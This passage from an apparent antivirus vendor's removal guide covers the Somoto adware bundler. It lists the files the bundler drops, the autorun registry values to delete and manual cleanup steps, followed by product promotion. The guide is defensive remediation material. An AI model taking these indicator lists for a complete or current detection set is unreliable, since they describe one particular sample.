C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e7b65c22c598e6947a69fe126508c4cf.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2b2114963a417d68246eba3fe28958be.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ee1f3734d5ebdc97ece9eb8ccc8f5f85.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6ff504dd44cc8b0b2447ac42877c9691.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7F9.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\4D90EAE405E9E2FF (34773 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1031.xpi (15 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (25 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (76 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (950 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\xdomain.min.js (1568 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (6073 bytes)
%Program Files% (x86)\XTab\web\js\js.js (16 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (1 bytes)
%Program Files% (x86)\XTab\web\js\jquery.xdomainrequest.min.js (1 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn75FA.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15534 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\zejghs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\Pbwibcnmmlvvvy.tmp (332959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\Jljudlej.exe (1585328 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\wsukuicep.dll (2138 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd2DD4.tmp\eodefhbq.dll (23 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_smb_indostreamix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GenieoUpdaterService" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\genupdater.exe -wait 5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GenieoSystemTray" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\TrayUi\bin\gentray.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_1e49cbf272

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_1e49cbf272

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet